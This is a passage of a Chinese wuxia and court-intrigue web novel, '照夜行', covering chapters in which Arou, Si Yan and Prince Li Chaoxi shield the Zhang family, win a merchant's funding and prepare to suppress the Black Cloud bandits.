景西王戚叶临,素来有大昭第一武将之称,十七八岁时就披甲上阵、征战四方。再到后来,西北边境的赫月族蠢蠢欲动,屡屡侵犯大昭边境,圣上亲封戚叶临为景西王,镇守西北边疆。早年间边境不稳,爆发过一次动乱。当时细作入侵,四处屠戮,就连王妃也不幸殒命于战火之中。景西王悲痛欲绝,将次子和幼女送到云影山,托时任云影派掌门的花震照顾。戚叶临与长子戚思辰浴血奋战,用了三年的时间,将赫月族六个部落全部收服,灭其不轨之心。此后每年,六个部落的首领都要定期上贡大昭皇帝,以表归顺之心。边境大小蛮夷之族,但凡听到景西王的名号,无不闻风丧胆。 当年被送入云影山的戚家幼女正是阿柔。西北大乱之时,二哥戚思彦遭遇细作暗算,身中奇毒、奄奄一息。当时甚有名望的医药世家——江北孙家的掌门人带领三十门徒,不远千里,支援边疆。孙圣手与门徒不眠不休许多日夜,终于研究出此毒解法,堪堪捡回了戚思彦的一条命。而孙圣手之女,正是岐州张知州的正妻。 因念着这份旧情,戚雪柔才会对张夫人及其儿女拼死相护。 阿柔神色如常,坦然自若,细细讲道:“西北大乱之后,我和二哥一同被送入云影山。花掌门为人温柔细致、谦逊有礼,对小辈关心备至,毫不吝啬地教授我们云影一派的武功精髓。四年前,花掌门去世,大师兄花羽接管掌门一职。正逢二哥被圣上召去京城为官,我也不愿一直困于云影山中,便四处游历、寄情山水。前些日子正巧路过烟云四州,本欲拜访张夫人,却听闻张知州蒙冤而死,亲眷流落在外。我花了好些功夫才找到他们,为了报恩而一路相护。这些年来,我虽混迹江湖之中,却并非不通政事,大约猜到张家此劫与祁照和怀王脱不了干系。我深知仅凭自己的力量,难以庇护张家之人,便起了求助师门的想法。我寻了云影派分布在岐州的暗桩,可他们在听闻此事后神情躲闪、态度暧昧,也并没有给我明确的承诺,我隐约觉得事有蹊跷。直到后来与杀手交过手后,我才陡然发现他们竟是与我手足相亲的兄弟姐妹。” 阿柔说到最后,声音都有些颤抖。 司言见状,不由得放缓了语调,语气也轻柔了几分,“那晚与你交手的那蒙面首领,便是花羽吧。” 阿柔自嘲一笑,点头承认,然后说道:“我一开始隐瞒身份,便是知道此事涉及党政。景西王府从不结党营私,故而受到圣上信赖倚重。倘若我涉入到此事中来,必定会为王府带来不小的麻烦。” “可是阿柔,事已至此,你早已不能置身事外。”司言的语气平淡得残忍,“要不了多久,京城各方势力都会知晓云影派投靠怀王一事。可谁人不知景西王与云影派花震掌门之间颇有渊源?纵使花震掌门逝去已久,但人言可畏,若他们百般构陷景西王参与党争,你们又当如何自证清白?依我的意思,阿柔倒不如光明正大地与我们一同入京,以此表明,你既不偏向怀王,也不偏向承王,如何?” “我难道还有别的选择吗?”阿柔苦笑一声,“你心里清楚,我是一定要亲自护张家人周全才能安心的。但黑衣护卫是承王手底下的人,故渊门又是你的人,我也只能听凭你们的安排。你大概一早就做好准备,将故渊门人安插在城内各处,防止有人对张家人欲行不轨。从而抽出身来亲自完成一件事——助承王剿清烟云四州匪徒。” 司言高兴地拍拍掌,“不愧是将门之后,阿柔真令我刮目相看。” 阿柔白了他一眼,“不及门主这般足智多谋,竟将我也玩弄于股掌之中。” 司言故作嗔怪地看向她,“阿柔这么说可真是见外。” 阿柔轻哼一声,显然不吃司言这一套,“我倒真是许久未见承王殿下了,他既来了,我也应当去拜会一番。” 话音未落,就听见不远处传来一个声音,扯着嗓子大喊:“官爷,就是她!” 阿柔既无奈又无言地转过身去,果然看到方才被她狠揍了一顿的纨绔公子李二爷,带着一群衙役,怒气冲冲地朝这边奔来。 阿柔叹了口气,正想嘱托司言下手不要太重,却已不见他半分人影。 阿柔:“……” 堂堂故渊门门主,逢人就跑,你的仁义担当被狗吃了??? …… 府衙。 来阳知府端坐在正位上,看了看阿柔,又看了看被揍得鼻青脸肿的李二公子和李家家仆,顿时觉得一个头比三个大。 “呃……”杨知府揉了揉太阳穴,“李二公子,你说这位姑娘在暗巷中对你大打出手,没错吧?” “对,就是她!”李 6. 黑云 《照夜行》全本免费阅读 “下官杨铮,拜见承王殿下!不知殿下驾临,未能及时远迎,还望殿下恕罪。”杨知府躬身行了一个大礼,面上惊惶不定。 来阳地偏,连京城的大官都没来过几个,更别说身份如此尊贵的王爷了。 阿柔在杨知府身后跟着行礼,倒是没有半分意外,只是忍不住瞪了一眼站在承王身边的司言。司言眼观鼻鼻观心,假装没看到。 李二公子直接懵了,直觉告诉他眼前人是个难得一见的大人物,忙不迭地吊着手臂行了个别别扭扭的礼。 “杨大人免礼。”李晁奚伸手虚扶杨知府,面色温和,“本王今日来此,乃是为了解决西南匪患。事前并未告知杨大人,不知可有打扰之处?” “西南匪患一事,与来阳息息相关,何谈打扰?殿下如此客气,让下官愧不敢当哪。”杨知府受宠若惊地说道。 “那本王便在此谢过杨大人了。”李晁奚客客气气地说道,视线一转,看到一张熟悉的面庞,有些意外地道,“戚三小姐?” 杨县令愣了愣,顺着李晁奚的目光看过去。 被唤作“戚三小姐”的人,正是那位与李二有所过节的阿柔姑娘。 就在杨知府和李二公子站在原地不明所以的时候,阿柔大大方方地往前几步,行礼道:“小女阿柔,见过承王殿下,一别数载,别来无恙。” 戚三小姐,名唤阿柔…… 杨知府猛然想起了什么,吸了口气,“这位小姐,莫非是景西王的千金?” 李二顿时惊惧万分。 景西王?深受圣宠及百姓爱戴的西北战神? 难怪这位姑娘在受人折辱之时毫不怯惧,只身一人将数名剽形大汉撂倒在地而面不改色。结合起她的家庭出身,一切都有了解释。 只是……一想到自己带人围堵景西王的女儿,欲行不轨,还恶人先告状地把人押到官衙里来,李二就觉得浑身冒冷汗,两腿发软。 偏巧李晁奚在这个时候说道:“远离京城,却得遇故人,实乃幸事。只是不知戚小姐为何身在府衙,是遇到什么事了吗?” 李二顿觉汗如雨下。 “多谢殿下关心,此事已经解决得差不多了。”阿柔转向杨知府,“杨大人,我与李二公子的争端,想必您已经清楚了。” 杨知府清了清嗓子,摆出一副严肃的神情来,“李二率领家仆围堵戚小姐,欲行不轨,罪行凿凿、无甚可辩,戚小姐虽出手伤人,但也实属自保的无奈之举。下官斗胆请教承王殿下,此事当如何处置是好?” 李晁奚闻言笑了一下,看着他,淡然说道:“杨大人身为来阳的父母官,遇上民间纠纷,当有自己的判断,倒请教起本王了?” 见面时还那般温和客气,转瞬间就冷得像变了个人似的。他的脸上还带着笑容,却没人觉得他心情好。 杨知府大惊失色,两股战战,几乎就要直直地跪下去,“下官无能,殿下恕罪!” 李晁奚稍微收敛了一下锋芒,仍然面含笑意地说道:“杨大人信得过本王的为人,这才起了请教之意,何至于怪罪?若杨大人拿不定主意,本王倒是觉得,既然事关戚三小姐,那不如问问她的意思吧。” 阿柔眼看着包袱又被扔到了自己头上,轻笑一声,说道:“阿柔不是多事之人,也无意继续纠缠。李二公子带人为难于我,而我又出手相训,两事相抵,就算了了。李二公子意下如何?” 李二忐忑不安地立在原地,乍一听这番话,还有些没反应过来。 大昭谁人不知景西王府权高位重,又深受帝王宠信。若是戚三小姐对于此事耿耿于怀,存心报复,他们李家的生意估计都别想做了。然而等来半天,竟等来一句“此事已了”,简直令李二不敢相信。 杨知府见他半晌没反应,挤眉弄眼地使了个眼色。李二回过神来,感激涕零地叩谢,“多谢戚小姐宽宏大量,小人一定谨记戚小姐的教训,再也不敢为非作歹、恣意妄为了。” 阿柔看着杨知府,认真地说道:“杨大人,小女还有一事相求,不知可否应允。” “戚小姐请讲。”杨知府表面春风拂面,内心冷汗涔涔。 “我看府衙前有一告示栏,不妨将我与李二今日之纠葛原原本本写下,张贴其上,也好教城内的良家妇女们警醒一番。”戚三小姐笑得一脸纯真。 李二:“……” 杨知府:“……” 司言忍不住笑出了声。 …… “西南一带最大的土匪聚集地,是地处苔州和充州交界处的黑云寨。黑云山距来阳有一段距离,早年土匪作乱,对来阳城影响甚微。但近来,黑云寨的势力持续扩大,活动范围也随之变广,来阳百姓亦不堪其扰。前些日子,来阳城内就有清白人家的女儿被黑云寨的人掳去,至今下落未明。”官衙案卷室里,杨知府将厚厚一沓卷宗放在桌上,“殿下,这便是来阳府衙关于这一带匪窝的全部记载了,只是到底不如苔州官衙里的卷宗详细。” “无妨。”承王拱手道谢,“杨大人去忙吧,有事本王自会叫你。” 杨知府应声,忙不迭地退下了。 李晁奚转而将视线投向阿柔,目光中带着几分询问。 阿柔心中明白,即使承王没猜出来她便是一路护送张家人的江湖女子,司言也该告诉他了,这是在试探她出于什么立场才会插手此事。 其实阿柔并不将剿匪背后关乎的错综复杂的关系放在眼里,也无意牵扯进党派相争。她的想法很简单:只要烟云四州的匪患早一点清除,这一带的百姓就能早一点过上安定的日子,承王和司言也能早一点带着张家人入京。 阿柔知道李晁奚在顾虑什么,一字一句地说道:“殿下,阿柔虽为女子之身,但身为大昭百姓,又是将门之后,也愿尽些绵薄之力,剿清西南匪帮,还百姓安定和乐的生活。” “戚三小姐如此胸怀,让本王惭愧。”李晁奚夸赞道,心中的疑虑却仍未完全消解。 阿柔将他的神情看在眼里,没有多说什么。 三个人坐下翻看了一阵卷宗,对黑云寨的情况大致有了一些了解。 黑云寨的领头人名唤陈松,充州人士,四十多岁,早年间出身名门,但后来家道中落,科举屡试不中,家中亲人接连逝去,他受不了打击,自甘堕落,入山为匪。 陈松原先并不是黑云寨里做主的人,但却对前首领暗怀不满,经过多年的韬光养晦,收买人心,最终火并首领,自立为王。如今黑云寨中身担要职的人,都是他自己培养出来的亲信,其凝聚力要比一般的匪窝不知高多少。 “司门主、戚小姐,剿匪之事,依你们所见,胜算何如?”李晁奚合上书卷,问道。 司言和阿柔都是江湖中人,对于黑云寨的了解,要比他这个长年身居京城的皇子多得多。 阿柔问道:“殿下此行,率兵几何?” “圣上号令长祈附近军营各抽调一部分兵力给我,最终凑出约莫三千人,现在城外驻扎,”李晁奚答。 “据卷宗记载,黑云寨中,光论兵力,至少七千。”司言平静地说道,“再加上山上的杂役亲眷,怎么也得有一万多人。” 此话一出,李晁奚的面色沉了沉。他一早便知道有一场硬仗要打,却也没料到一个山野匪帮竟能发展壮大到如此地步。 阿柔看出他在想什么,宽慰道:“还请殿下勿要心焦。虽然黑云寨人多势众,但毕竟是乡野之人凑出来的杂牌军,比不得天子脚下训练有素的精兵铁骑。纵使强行与战,胜算亦有十之七八。阿柔心有一计,不知殿下是否感兴趣?” 李晁奚眼前一亮,“愿闻其详。” 司言饶有兴趣地看向阿柔,等待着下文。 阿柔略一颔首,“上兵伐谋,其次伐交,其次伐兵,其下攻城①。在兵力无法碾压的情况下强行拼杀,是最末等的用兵之法,且不说胜算大大减少,即便是赢了,也会极大程度地损耗 7. 叙话 《照夜行》全本免费阅读 来阳城,流仙坊。 乐坊坐落于闹市街区,往来行人不绝,各处都能听到丝竹弦乐与玲珑巧笑之声。 “呦,李老爷,好些日子不见,今日怎么舍得上我们这儿来了?”坊主是个约莫三十左右的女人,手执团扇,巧笑嫣然。 “夜兰姑娘好几日闭不见客,我便是来了,也无甚乐趣可寻。”李骁哈哈一笑。 “奴家就知道,李老爷的耳朵早就被夜兰丫头养刁了。等闲靡靡之音,又岂能入得了李老爷的耳?”坊主笑说,“你们家二公子的品味,怕不是也随了老爷您。” 李骁面色一沉,陡然想起自己那个荒唐的儿子来。平日仗着家中有钱有势,在来阳城作威作福也就罢了,这回带人调戏良家妇女不说,反被人家揍了一顿,告示挂得满大街都是,他寻人去官府那边砸了好多钱,才让人把告示撤下来,要不然他这张老脸也别想要了。 坊主见他脸色不郁,连忙笑着拍拍自己的嘴,“您瞧我这张嘴,惯会胡说,李老爷可莫要跟奴家计较。” “罢了,我听说夜兰姑娘今日挂牌,便来见上一见。”李骁稍微收敛了不快之色。 坊主面露难色,“李老爷是流仙坊常客,奴家本不愿李老爷败兴而归。只是……夜兰今日被一位公子包下唱曲儿,怕是不得空。” 李骁眉头一拧,面露疑惑,“公子?是何人?” “是位年轻公子,瞧着面生,应该是头一回来。”坊主见他面色不好,忙道,“夜兰时常与我说,您才是她引以为知音的贵客,饶是这几日闭门谢客,心心念念的也都是您。只是奴家不知老爷今日要来,这位公子又实在出手阔绰,因此怠慢了老爷,在此给老爷赔个不是,还请原谅奴家吧。” 李骁听她此言,前半段心花怒放,后半段心有不屑。 来阳城内,谁人不知他“西南巨贾”的名号?在他面前竟也敢称“出手阔绰”? 李骁当即拉下脸来,说道:“我出十倍的价钱包下夜兰姑娘,并出同样的价钱补偿那位公子,让他另寻他人吧。” 坊主眼前一亮,又堪堪忍住收敛了几分,强装矜持道:“李老爷稍等片刻,此事还待我与那位公子商量一番。” 说罢,她便脚下生风似的三步两步去往楼上雅间。 不消片刻,坊主便回来了,看起来却有些为难。 “怎么了?”李骁皱了皱眉头。 “李老爷,楼上那位公子说他在此恭候已久,请您上楼一叙。” …… 直至进入雅间,李骁才知道,等待他的人其实有两位。而流仙坊头牌夜兰姑娘正手抱琵琶坐于幕间,见有人来,止了歌声,颔首行礼。 李骁白手起家,经商二十余年,平生最大的本事就是察言观色。进来第一眼,就将席间的两个男子看了个大概。较为年长的那个神情冷峻,周身散发着一股浑然天成的权贵之气。年纪较轻的那个面容更生动一些,嘴角带着笑意,倒像是个鲜衣怒马的少年郎。两个人的气质截然相反,却不知为何会结伴同行。 李骁几乎能确定,面前这两个人专程在这里等他。 他驰骋西南商界,自认也是个见过世面的,干脆主动问道:“二位公子是从外地来的吧,不知如何称呼?” 李晁奚客客气气地道,“李老爷是个聪明人,本王也不喜弯弯绕绕,便直说了吧。” 李骁一愣。 他刚刚说什么?本王? 一瞬间,李骁不再觉得自己见过世面了。 …… “承王殿下降尊纡贵,大费周章地引我至此处相见,实在令小人惶恐。只是小人愚钝,不知殿下用意,还望殿下指明。”李骁用了许久,才勉强接受了眼前的现状,只觉如鲠在喉。 “各行各业的顶尖之人,都绝非等闲之辈。李老爷经营的鸿运商行驰骋一方,拥有产业无数,可见李老爷在商道上的能力与手段,常人万不能及。”李晁奚说道,“最为难得的是,李老爷身有万贯家财,却仍心怀慈悲,让本王闻之惭愧。” 李骁被夸得冷汗都要落下来了,扯着笑容说道:“殿下何出此言?真是折煞小人了。” “李老爷乐善好施,近些年来开设粥棚接济流民,又主动募集善款,为西南兵防提供军需物资。如此大义,又有几人能及?”李晁奚温和地说道。 李骁哪能听不出来他的弦外之音。行兵打仗需要钱财支撑,剿匪也是如此。这哪里是在夸赞他,分明是来抢他的钱啊! 即便如此,李骁也只能咬牙忍着。鸿运商行之所以能越做越大,得益于二十多年一点一滴攒下的名声。西南一带匪患严重,祁照却不管不顾,早已民怨滔天。承王殿下放下身段专程找上李骁,若他不给这个面子,事情传出去,只怕先前攒下的名声就要毁于一旦了,又谈何做生意呢? “殿下为了让西南百姓早日免受土匪侵扰,不畏艰难、不远千里奔赴此地,又何尝不令人敬佩?该是小人惭愧啊。”纵使心中不满,李骁也只能顺着他的意思来,“殿下尚且能为了我西南之灾而四处奔波,小人又岂能置之度外?鸿运商行愿意牵这个头,联合西南所有商行,为殿下募集军资,以除殿下后顾之忧。” 李晁奚看起来神情讶然,激动地站起身来拱手一拜,“本王在此便替西南百姓谢过李老爷了!” 李骁看着他这副姿态,心中只想发笑,却只能一直与他客套着,言语之间活生生将自己包装成了一位心怀大义、不慕钱财的仁义之人。 就在此时,一直默不作声的司言却开口了,“李老爷为了民生而慷慨解囊,在下佩服。我家殿下仁厚,不愿让李老爷一力承担剿匪耗资,故而为李老爷备了一份大礼。” 李骁一滞,“不知这位公子所言是为何物?” “李老爷可曾听过故渊门?” “自然听过。”李骁回答。 行商之人多与江湖侠客打交道,在长途押运货物时也能多受几分庇护。李骁为人圆滑,尤其擅长结交朋友,屡屡派人向故渊门示好,从不吝啬地奉上各式各样的金银珠宝,因而在江南一带行商走货时有故渊门暗中相护,从未受过盗匪侵袭。 “那么李老爷定然知道,故渊门一向以消息灵通之名而在江湖中谋得一席之地。在下知道,对于商者而言,最重要的便是掌握市井流行,从而确立经营之方。故渊门愿意为李老爷及时提供这部分消息,并保证李老爷的商队在大昭境内押运货物之时不受任何侵犯。”司言说道。 这对于李骁来说,简直是天大的好处!他呆立半天,只因理智还在,才不至于在承王殿下面前瞠目结舌。 李骁哑然道:“这位公子是?” “未曾向李老爷表明身份,是在下失礼了。”司言微微颔首,“在下故渊门司言。” …… 圆月悬在天边,柔软的白光洒落下来,穿过枝叶,映得树影婆娑。 庭院中,稚气未退的少年手握一柄木剑,笨拙地挥舞着。张闻亦下盘不稳、脚步虚浮,再加上身形实在不怎么灵巧,没两下就把自己绊倒在地。 阿柔路过时正好看到这一幕,啃了一口手中的苹果,“你这是……?” 张闻亦慌忙站起身来,涨红了脸,“阿柔姐,我,我……我在练功呢……” “练功?”阿柔有些意外,视线落在了张闻亦手中的木剑上,“你想学武?” 张闻亦有些不好意思,最终扭扭捏捏地点了点头。 若想在武功上有所造诣,一般都是从童子功练起。张闻亦今年十六岁,根骨都张全了,此时练武为时已晚。但阿柔心知他迫切地想学武是为了什么,更不忍打击他,便说道:“若你想学武,回头我替你寻个师父来,万不可照猫画虎,否则容易走火入魔。” 张闻亦脸一白,更不好意思了,“其实……其实司言公子教过我的,但……但是我资质愚笨,总是不得要领。” 阿柔有点意外。司言这几日都在承王那里忙前忙后,竟还有闲情逸致教张闻亦习武? “阿柔怎么这副神色?难不成,是想让我也教教你?”一个带着浅笑的声音从身后响起。 阿柔默默翻了个白眼,转过身去,“公子是想教我怎样才能让脸皮更厚一些吗?” 司言竟真的认真思考了一阵,然后说道:“未尝不可。” 阿柔扯了扯嘴角,满脸一言难尽。 司言却觉得很有意思,心情很好地看向张闻亦,“你非是资质愚钝,只是根基太浅,缺少内力支撑,自然不得要领。习武之人,最忌急于求成,打好基础才是关键。这套剑法,你多练多悟,有何不懂之处,便去寻叶温遥师兄替你解答。” 张闻亦睁大了眼睛,“司言公子不愿再教我了么?” 司言一笑,揉了揉他的发顶,“我和阿柔这几日有要事在身,须得出门一趟。有叶师兄保护你们,不用害怕坏人再来,你就安心跟着他练剑。待我回来之后,可要验收成果的。” “嗯!”张闻亦一下子就开心了起来。 不知为什么,阿柔总觉得司言这一番话说得分外温柔,就好似一个长辈对晚辈心怀期望。这在惯会调笑的司言身上,真是难得一见。 司言安抚好张闻亦,让他接着去练剑,回身见阿柔正凝神思考着什么,便道:“怎么了?” “没什么。”阿柔回过神来,“事情都办妥了?” “有我出手,阿柔放心便是。”司言笑意盈盈。 虽然司言行事作风一贯不怎么正经,能力却是毋庸置疑的。阿柔深知承王和司言这一趟并非只是为了募集军需之款,更是为了与鸿运商行达成长久的合作,为将来的夺嫡之争铺路。 她一向不喜权贵之争,因此也不想搭司言的腔,敷衍地“嗯”了一声,便绕过他,想要先行回房间去了。 晚秋的冷风一阵阵吹过, 8. 剿匪 《照夜行》全本免费阅读 京城长祈,八街九陌,一片奢华景象。清晨,长祈拨开轻柔缭绕的云雾,在钟楼的一声声悠悠鸣响中苏醒。街市酒肆,花楼乐坊,四处都充满着人间烟火气。身着胡服,点着花钿的舞女在酒楼台前轻盈地扭动身姿,眼含秋波、巧笑嫣然,一颦一笑皆同清冽的美酒一般酥到骨子里。才子佳人乘着香车宝马,珠帘轻卷,眉眼若隐若现,足以让人浮想联翩。 第一次进京的阿柔,光是见到这番景色,便挪不开眼了。听说圣上要留二哥在京城里当文官,抱着二哥的大腿,死也不撒手,一定要留下来。 戚思彦的面容柔和清俊,恍若光风霁月一般温雅,却带着几分苍白的病气——那是幼时深受奇毒落下病根所致。他揉了揉阿柔柔软的发顶,极其有耐心地问道:“阿柔为什么想留在这里呀?” 阿柔抓着二哥指节分明的手,犹豫了一下,诚实地说道:“因为……因为这里的房子又大又漂亮,还有好看的舞女姐姐。” 恰巧大哥戚思辰也在身旁,听闻此言,简直被她气笑了,“瞧你那点儿出息。” 相较于二哥,戚思辰要显得更加高大健硕一些,腰佩长剑,英气逼人,光是站在那里就拥有十足的压迫感。若不是眉眼极为相似,全然看不出来这两个人是一对兄弟。 阿柔缩在二哥身后,极小声地补充道:“而且我不舍得二哥嘛……” 大哥凶巴巴地说道:“你这个理由是附加的吧!” 戚思彦颇为无奈地挡在阿柔面前,“好啦大哥,阿柔还小呢。” “都十四岁了,还算小么?”戚思辰抱着胸斜睨阿柔,唇角似有若无地勾起,故意说道,“没过两年,可就该嫁人了。” “嫁人?”阿柔瞪着一双水汪汪的大眼睛,抓紧二哥的衣角,“可是师父曾说过,女子也不一定非要嫁人生子的。” 二哥俯下身来,温言道:“阿柔不想嫁人,那想做什么呢?” 阿柔想起往日在云影山上师父教过她的东西,头脑一热,脱口而出道:“游历四方,惩恶扬善!” 二哥早料到她会这么答,了然一笑,“你看,你心中早就有了想做的事情,又为何要驻足于眼前之景呢?阿柔,你只见过西北的茫茫大漠与长祈的万家灯火,却不曾见过这世间更多更美的瑰奇景象,更不曾见过隐匿于各个角落的红尘百态。若你眼中的天下足够辽阔,胸怀足够广远,便会明白,宫阙虽美,终有化作尘土的一天,昨日之繁华,也许便是明日之残骸。人间名利富贵皆是过往云烟,唯有山河常在,草木永存。阿柔,你想去看一看这天下的万千盛景吗?” 阿柔点点头,眼中满含憧憬,已然被迷住了,在心中勾勒出了一副云水环绕的美好画卷。 直到走出长祈,游遍山河锦绣、草木云烟,阿柔更加确信二哥当年没有骗她。京城的方寸之地以外,是万象人间。 …… “那天晚上,大哥把我关在房门里教训了许久,我才知道,二哥是为了王府才留在长祈的。”思绪悠悠飘转回多年以后的来阳城,阿柔仍坐在酒楼的屋顶上,抱着膝,眸中晦暗明灭,“圣上赐他官位,表面上是施恩于王府,事实上却是留他在京城做一枚牵制西北边境的棋子。” 司言凝神看向她,“他们千方百计说服你离开京城,正是不愿意让你也变成人质。” “若我当初执意留在京城,恐怕早已被指给了哪个名门贵胄,关在屋子里相夫教子呢。”阿柔自嘲一笑,“你说羡慕我身为高门贵女却能选择自己喜欢的道路,却不知这样的选择是牺牲了我二哥的自由换来的。” 司言收回视线,默然片刻,不知道在想什么,只是将酒壶里剩下的琼酿一饮而尽,“叹人生,不如意事,十常八|九。其中一样,便是无法选择出身。有的事情,是生来就注定要去承担的。人啊,总是各有各的无奈。” 说罢,他像是有些不满意似的皱了皱眉头,摇摇手中的空瓶子。 阿柔看在眼里,将自己的那壶酒递了过去。司言眼前冷不防多出个酒壶,不免有些诧异。 “你不是说你喝不醉吗,让我见识一下。”阿柔双手抱胸,笑着看他。 司言这才接过酒壶,轻笑一声,“谢了。” 阿柔不动声色地观察着司言的侧颜——平常惯会嬉笑的一个人,今夜却格外沉静,倒让人十分不习惯。她斟酌片刻,终于开口道:“司言,你的选择又是什么呢?” 司言身形一僵,眼睫不易察觉地微微震颤了一下。 “你明明可以选择闲云野鹤的生活,却为何要搅合进党争的浑水里去?”阿柔追问,“你不是也厌恶权力相争么?” 司言张了张口,想要说些什么。 “你先不要着急回答。”阿柔先一步堵住了他的辩驳之辞,“你有一句话说得很对,世上不如意之事常八|九,人总是各有各的无奈,旁人是理解不来的。我不相信你是追名逐利之人,也不想让你绞尽脑汁编个理由出来搪塞我,若你当真有什么难言之隐,也不是非要说出答案来。不过,今夜你既请我喝了酒,我们便算是朋友了吧。” 司言怔愣片刻,原以为阿柔一定会追问到底,却没想到她远比想象中要豁达潇洒。司言点了点头,很开心地说道:“当然算了。” “荒庙那夜,若你未曾出手相救,我必然保不住张家人。”阿柔凝神看向司言,“虽然保全张家人原本就在你的算计之内,但我却觉得,即便此事与个人立场无关,在你收到我的求救信后,也一定会来的。所以……” 阿柔展颜一笑,面上的表情比原先任何时刻都要明媚生动,“谢谢你。” 一阵凉风席卷而过,司言却觉得浑身上下暖洋洋的,也不知是不是酒喝多了的缘故,连带着面颊都有些发烫。过了好一阵,他低声说道:“我才要谢谢你……” 灯市如海,照彻夜空。往来人群不绝,却未曾有一人发现,屋顶的方寸之地上,并肩坐着两个人,眼中映着漫天星火,清澈而明亮。 …… 在司言的安排下,来阳城被保护得宛如铁桶一般,将杀手趁虚而入的可能性降到了最低。 “放心吧,阿言。来阳的准备并非一日两日,有我在明,夜兰和流仙坊在暗,保证张家人连一根毫毛都不会掉。”叶温遥拍拍胸脯保证道。 司言嘴角一抽,翻了个白眼,“你说话就不能斯文些么?” 叶温遥大惊失色,“你嫌弃我?” 司言冷哼一声,“近朱者赤,近墨者黑。劳烦你正常一些,不然到时让阿柔知道我整日与你厮混在一起,还不定怎么想我呢。” 叶温遥:“……” 打趣归打趣,叶温遥的能力确是毋庸置疑的,司言这才敢放心大胆地跟随承王一同前往苔州。 再说前些日子,在阿柔的授意下,李家二公子围堵调戏良家妇女的事迹被官府贴在了告示处,闹得全城上下沸沸扬扬。 李骁认为此事有辱门楣,花了好些钱孝敬官府,这才堪堪把事情压了下来。殊不知,这些用来孝敬杨知府的银两,最终悉数进了阿柔的口袋里。 当时司言得知此事后,便瞠目结舌地问:“这是你一早就算计好的?” “不是。”阿柔回答得毫不拖泥带水。 司言还待说些什么,却听阿柔淡定地继续道:“本来没想到会有这么多的。” 司言:“……” 出城那天,阿柔身着象牙白圆领袍,脚蹬黑色长靴,头发高高挽起,腰配银色短刀。她常年游历四方,军中自然无人识得她的面容,更不知她便是那位令人闻风丧胆的西北战神戚叶临的女儿。因此,来阳城外驻扎的三千精兵,在见到她的第一面,纷纷露出了质疑的神情。 这些精兵是从长祈附近各个军营分别抽调出一部分凑起来的,虽然训练有素,却缺乏实战经验。他们没打过什么大仗,一个个却心比天高,原本被指派来西南剿匪就已然心存不满,如今行军途中又多出两个从未 9. 流民 《照夜行》全本免费阅读 仔细听便会发现,阿柔用的是“敢”字,而非“愿”字,这无疑触怒了在场不少崇拜陈焕的将士,但又碍于承王在场,敢怒而不敢言。包括陈焕自己,脸色也僵硬到了极点。 若不应战,便是坐实了他一介武将不敢与女子比试这个事实。阿柔刚才那一番话,没有给他留下任何余地。 陈焕不动声色地瞥了一眼李晁奚的神情,见他并没有制止的意思,于是上前一步,抱拳说道:“姑娘,请吧。” 周围的人群立刻分散开来,自觉地清出了一大片空地来。 “还望将军一定要使出全力。”阿柔补充道。 陈焕的脸肉眼可见地又黑了几分。 他原本不打算用武器的,闻言在心中冷笑一声,终于还是拔出腰间配备的军刀,站在空地的一侧。阿柔则依然使她惯用的那把短刀,立于另一端。 目光相触时,二人同时动身,足尖一点,转瞬便至对方身前。阿柔的银色短刀,相比于制式军刀,显得格外娇小脆弱,但在兵刃碰撞的瞬间,却丝毫不曾露怯。火星迸溅,刀身震颤,发出声声微鸣。 阿柔先前从未听过陈焕其名,片刻之后便试探出他武功的大概路数。他是军中之人,未曾接触过江湖上的武功,一招一式规整普通。但他爆发力极强,内力也非常深厚,偏偏能把这些普通的招式运用到极致。综合看来,是个值得一战的对手。 意识到这一点,阿柔只觉浑身上下的血液更加沸腾了些,面上呈现出跃跃欲试的神情。在同一时刻,陈焕也正色几分,眼中再无轻视。 军刀破开空气,直直地冲着阿柔面门而来。阿柔腰肢一扭,向身侧躲闪,与此同时刺出短刀,卡在对方的刀刃处一挑,硬生生地改变了刀尖原本的轨迹,借力回正自己的身形,顷刻间转守为攻。 陈焕察觉到攻守的变化,反应极快地将军刀横在身前,堪堪抵挡阿柔尖锐的锋芒。 但逐渐地,他便开始有些力不从心了。阿柔的攻势实在是太快太猛了,好像根本不知疲倦似的,让他难以招架。偏偏他自己的每一次蓄力进攻又总能被阿柔灵巧诡谲的身法躲开,再出手搅乱他原有的进攻轨迹。就好像一拳拳打在棉花上,发不出半点声响。 终于,又一次进攻之后,陈焕没控制住暴露出了一个破绽来。阿柔眸色一凛,果决万分地趁此间隙,直接破开陈焕的防备,旋身跃至他的身前,在他还未反应过来之时,将短刀架于他的脖颈之上。 胜负分明。 军中上下一片哗然。 片刻之后,银刀入鞘,阿柔抱拳行礼,“承让。” 陈焕落败,但神情中并无不满,反而一扫先前的傲慢与轻视,回礼道:“在下技不如人,输给姑娘,心服口服。先前多有得罪之处,还望姑娘见谅。” 阿柔目的已达,无意继续计较,“将军言重了。” 李晁奚走上前来,心情颇佳地说道:“这一战当真是有来有往,精彩之极。不知诸位如今可还有所疑虑?” 营中上下无人应答,最终还是陈焕开口道:“我等遵从殿下的安排。” 李晁奚回身面对浩浩荡荡的军中将士,扬声说道:“既无疑异,便莫要再让本王听到半分闲言碎语。军中纪律分明,不是用来嚼舌根的地方。我营中将士之能,当挥霍于战场之上,而非鸡毛蒜皮的小事。本王相信,只要我营中上下危难与共,同系一心,西南剿匪之行必定大获全胜!” 阿柔原先只是想堵住旁人质疑的嘴,细细想来,私自约战的行为到底是有一些我行我素,后来便寻了个时间专程去找李晁奚道了一次歉,并对他未曾在军中暴露她与景西王府的关系这件事表示了谢意。 …… 自从上回与陈焕比试过后,军中再无人敢轻视阿柔。一些心眼较重的人便会发现,承王并未追究她任性约战的行为,可见心中对她是较为看重的。因着这一点,有不少人动了拉拢她的心思,最后却都被那位称为“门主”的人三言两语挡了回去。 陈焕落败之后,常常来找阿柔探讨武学。然而他未曾想到,这位姑娘在行军打仗方面竟也颇有一番见地。先前有好多相关的疑难问题在心头堵塞着,怎么也想不通,但在听阿柔讲过自己的见解之后,竟然生出几分豁然开朗之感。 陈焕兴奋不已,若不是底下将士过来寻他,估计都赖在这里不想走了。 待他走后,阿柔揉了揉耳朵,觉得世界终于清净了一些。 司言深深地看了她一眼,“我家阿柔还真是招人喜欢。” 阿柔嘴角一抽,“谁是你家的?” 司言理直气壮地道:“阿柔既借了我故渊门的名号,对军中称是我故渊门中人,怎么就算不得是我家的了?” 阿柔不能理解他的逻辑,但又确实在隐瞒身份这件事上受恩于他,便不与他计较。 司言等了半天也没等到阿柔的反驳,顿觉无趣,重新扯了个话题道:“这两日见你总是心神不宁,可有什么事吗?” 